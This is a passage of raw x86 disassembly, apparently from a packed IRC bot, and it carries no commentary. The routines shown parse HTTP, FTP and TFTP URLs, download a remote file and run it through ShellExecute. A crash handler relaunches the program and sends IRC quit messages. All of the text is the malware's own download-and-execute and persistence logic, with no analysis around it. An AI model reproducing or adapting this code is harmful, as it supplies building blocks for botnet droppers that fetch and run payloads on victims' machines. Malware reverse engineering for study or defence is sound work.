mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; strcpy pop ecx pop ecx call sub_416B64 mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DF10 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DF1C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DF18, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j ; DATA XREF: .RLPack:0043B957r ... mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] loc_40343A: push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DB90 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C push eax call dword_417090 test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j ; DATA XREF: sub_43A34F+121w ... push 0 call dword_41705C loc_403558: ; CODE XREF: sub_40332B+1C0j ; DATA XREF: sub_43A34F+F8r mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 loc_403594: ; DATA XREF: sub_43A34F+106r mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] loc_4035A0: ; DATA XREF: sub_43BFC6+BDr cmp dword ptr [eax+4], 2 loc_4035A4: ; DATA XREF: .RLPack:0043AB92r jz short loc_4035BB push 273Fh call dword_417234 mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588:loc_4035A4j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 loc_4035C4: ; DATA XREF: sub_43C502+13r mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 loc_4035D8: ; DATA XREF: sub_43A34F+248r ; .RLPack:0043AC0Ar mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 pop ecx loc_4035F4: ; DATA XREF: sub_43AB4D+2Dr mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C pop ecx push eax call dword_417238 mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C pop ecx push eax call dword_417238 mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] loc_40384E: ; DATA XREF: sub_43BFC6r ; .RLPack:0043C12Br ... mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] loc_40395A: ; DATA XREF: sub_43BFC6+51r ; sub_43C502+25r push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j ; DATA XREF: .RLPack:0043BE24r ... mov eax, [ebp+arg_18] and eax, 4 test eax, eax loc_40397A: ; DATA XREF: sub_43C098+22w ; sub_43C1BC+2D1r jz short loc_4039F4 push 0 loc_40397E: ; DATA XREF: sub_43A34F+CAw ; sub_43A34F+DAw ... push 4 mov eax, [ebp+var_40C] loc_403986: ; DATA XREF: .RLPack:0043B92Dw ; .RLPack:0043BD72r ... add eax, 4 push eax loc_40398A: ; DATA XREF: .RLPack:0043BA4Fw ; .RLPack:0043BB4Aw ... call dword_417220 mov [ebp+var_410], eax loc_403996: ; DATA XREF: .RLPack:loc_43B805r cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j ; DATA XREF: sub_43B4CA+8w ... mov eax, [ebp+var_410] push dword ptr [eax] loc_4039B2: ; DATA XREF: sub_43A34F+4Br call sub_416B40 pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 loc_4039BE: ; DATA XREF: sub_43BF49-8Er push 2747h call dword_417234 mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: 